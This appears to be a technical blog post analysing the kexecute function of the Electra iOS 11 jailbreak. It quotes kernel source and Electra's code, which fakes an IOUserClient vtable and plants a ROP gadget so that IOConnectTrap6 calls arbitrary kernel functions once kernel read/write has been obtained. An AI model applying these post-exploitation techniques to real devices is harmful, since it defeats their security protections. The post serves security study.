Few months ago, a jailbreak called Electra (1) has been
publicly released. The jailbreak targets iOS 11.2 - 11.3.1 with astonishing
kernel exploits (2-3) provided by Ian Beer of Google's Project Zero.
The team behind Electra combines and packs multiple publicly
known techniques in order to achieve goals to weaken the security mechanisms
and run unsigned code on the device.
This short blog post does not provide any novel techniques
but it rather describes internals of Electra's kexecute function that serves a
limited way to call kernel functions from the userland.
Actually, we wanted to compare it with kexecute provided by Qilin (4) (post-exploitation framework) but at the time of writing this post, Qilin exports the kexecute, however the .o library does not contain any implementation (shasum: fabc6a8d99b1c2cdd35277533b003f630fd2a2bf).
During the post-exploitation phase, we find ourselves in the position, when calling a kernel function can save us from the complicated situations. Simulating function calls with raw arbitrary r/w capability can be really daunting task, so let the kernel work for us!
This technique has been published in the "Tales from iOS 6 Exploitation and iOS 7 Security Changes" by Stefan Esser (5).
First of all, we need a convenient way to pass our user-supplied arguments to the kernel, that's where IOKit comes to the rescue.
kern_return_t
IOConnectTrap6(io_connect_t connect,
uint32_t index,
uintptr_t p1,
uintptr_t p2,
uintptr_t p3,
uintptr_t p4,
uintptr_t p5,
uintptr_t p6 )
{
return iokit_user_client_trap(connect, index, p1, p2, p3, p4, p5, p6);
}
IOConnectTrap6(...) allows a user to send up to 6 arguments to the kernelland. The function immediately calls iokit_user_client_trap(...).
The iokit_user_client_trap(...) function returns a value from the function called upon the IOExternalTrap instance.
The IOExternalTrap is descibed by the following structure:
struct IOExternalTrap {
IOService * object;
IOTrap func;
};
Subsequently, the iokit_user_client_trap(...) function calls the trap function with the user-supplied arguments.
kern_return_t iokit_user_client_trap(struct iokit_user_client_trap_args *args)
{
kern_return_t result = kIOReturnBadArgument;
IOUserClient *userClient;
if ((userClient = OSDynamicCast(IOUserClient,
iokit_lookup_connect_ref_current_task((OSObject *)(args->userClientRef))))) {
IOExternalTrap *trap;
IOService *target = NULL;
trap = userClient->getTargetAndTrapForIndex(&target, args->index);
if (trap && target) { // [A]
IOTrap func;
func = trap->func;
if (func) {
result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6);
}
}
iokit_remove_connect_reference(userClient);
}
return result;
}
Can we control the target and trap returned by getTargetAndTrapForIndex(...)?
From the following code snippet is obvious, that if we could subvert the getExternalTrapForIndex(...) of the IOUserClient instance, we are immediately in control of the *targetP and returned trap, hence we control the called function pointer (target->*func).
IOExternalTrap * IOUserClient::
getTargetAndTrapForIndex(IOService ** targetP, UInt32 index)
{
IOExternalTrap *trap = getExternalTrapForIndex(index);
if (trap) {
*targetP = trap->object;
}
return trap;
}
The generic idea behind calling arbitrary functions, is to modify the vtable of the IOUserClient instance so that invoking the iokit_user_client_trap(...) ends up calling a function pointer controlled by us. Regarding the fact that the IOUserClient instances are backed by heap memory and behave as C++ objects stored in the memory, thus the very first address stored in this representation of instances in the memory is an address of the vtable. The vtable consists of all virtual functions that can be called on the particular instance of the objects. The other thing, that we need to take into account is the calling convention of methods, which requires us to put the "this" pointer into very first argument. The pointer points to the instance of the object itself. Note that this cannot be NULL because of the statement at [A].
The addresses of the IOUserClient instances are stored in the port member called ip_kobject, which is confirmed when we take a closer look at the function iokit_lookup_connect_ref(...) from the first code snippet:
EXTERN io_object_t
iokit_lookup_connect_ref(io_object_t connectRef, ipc_space_t space)
{
io_object_t obj = NULL;
if (connectRef && MACH_PORT_VALID((mach_port_name_t)connectRef)) {
ipc_port_t port;
kern_return_t kr;
kr = ipc_object_translate(space, (mach_port_name_t)connectRef, MACH_PORT_RIGHT_SEND, (ipc_object_t *)&port);
if (kr == KERN_SUCCESS) {
assert(IP_VALID(port));
if (ip_active(port) && (ip_kotype(port) == IKOT_IOKIT_CONNECT)) {
obj = (io_object_t) port->ip_kobject;
iokit_add_reference(obj);
}
ip_unlock(port);
}
}
return obj;
}
Let's look how the team behind Electra deals with the implementation. Please note, that the code is shrank, so that the only important lines are shown.
mach_port_t prepare_user_client(void) {
...
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
...
return user_client;
}
The function prepare_user_client() spawns an instance of IOSurfaceRoot and returns its address.
Closer look at the following function reveals the actual implementation of the desired functionality.
void init_kexecute(void) {
user_client = prepare_user_client();
// From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
IOSurfaceRootUserClient_port = find_port(user_client); // UserClients are just mach_ports, so we find its address
IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field
uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
// The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
// Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
// Create the vtable in the kernel memory, then copy the existing vtable into there
fake_vtable = kalloc(fake_kalloc_size);
for (int i = 0; i < 0x200; i++) {
wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8));
}
// Create the fake user client
fake_client = kalloc(fake_kalloc_size);
for (int i = 0; i < 0x200; i++) {
wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8));
}
// Write our fake vtable into the fake user client
wk64(fake_client, fake_vtable);
// Replace the user client with ours
wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client);
// Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
wk64(fake_vtable+8*0xB7, find_add_x0_x0_0x40_ret());
}
The find_port(user_client) looks up the specific address of the port in our task. The actual address of the IOSurfaceRootUserClient instance is grabbed from the kobject member. From now on, there are multiple venues that can get authors to the objective. One of the venues includes faking an object with a fake vtable, which is subsequently written in the the kobject member.
The team could rewrite the vtable record of getExternalTrapForIndex(index) of a spawned fake object with a function that would return a controlled value (e.g. getRegistryEntryID(), ...). The value is controlled because of the arbitrary r/w capability.
Another way, is to replace the getExternalTrapForIndex(index) function with a gadget that would advance a controlled address to the place, where they can safely create an IOExternalTrap object.
The authors went with the latter. Firstly, a fake vtable is initialized in the heap. Afterward, up to 0x200 records from the original vtable of the IOSurfaceRootUserClient are copied into the fake vtable. A fake object of the fake_kalloc_size size is initialised. The 0x200 properties (including vtable address, refcount, etc.) from the original object are copied into the fake one. The address of fake vtable is written to the fake object. The object is now ready to be written into the kobject member.
The vtable record of the method IOUserClient::getExternalTrapForIndex is rewritten with an address of the "add x0, x0, #0x40; ret;" gadget.
Let's recapitulate the situation, what happens when we fire up iokit_user_client_trap(...). The kernel will looks up our fake object instance and calls the gadget. Do you remember what's the first parameter (stored in x0) of the call? Yes, that's the address of our fake object with the controlled data. The gadget will advance the value of x0 #0x40 upfront, so that it skips the vtable, refcount, etc because we do not want to screw that up. The advanced address of x0 is actually treated as the address of IOExternalTrap object. The goal is to fake IOExternalTrap object at that address.
The member called target would point the address of the object upon which the function is going to be called. However, in our case this represents the first argument sent to the function.
The "func" member of this object would be an address of the function that the kernel calls.
The following function called kexecute(...) creates a fake IOExternalTrap object, where the x0 represents the "this" pointer and the addr represents function that the kernel would call. From now on, the IOConnectTrap6(...) provides us a limited way to call almost arbitrary functions. The limitation comes from the restriction of the first arguments to be not NULL, the maximum number of parameters is 7 and the return value is truncated to 32bits. Besides that, the function fix up the members that were tampered with.
uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {
uint64_t offx20 = rk64(fake_client+0x40);
uint64_t offx28 = rk64(fake_client+0x48);
wk64(fake_client+0x40, x0);
wk64(fake_client+0x48, addr);
uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
wk64(fake_client+0x40, offx20);
wk64(fake_client+0x48, offx28);
pthread_mutex_unlock(&kexecute_lock);
return returnval;
}
The term_kexecute writes back the original address of IOSurfaceRootUserClient and cleans the fake object with the fake vtable out of the memory.
void term_kexecute(void) {
wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr);
kfree(fake_vtable, fake_kalloc_size);
kfree(fake_client, fake_kalloc_size);
}
If you would like to know how this technique can be boosted utilizing JOP chains to introspect the kernel (at least on older devices), please check the wonderful blog post https://bazad.github.io/2017/09/live-kernel-introspection-ios/.
We would like to thank Brandon Azad for reviewing this blog.
References: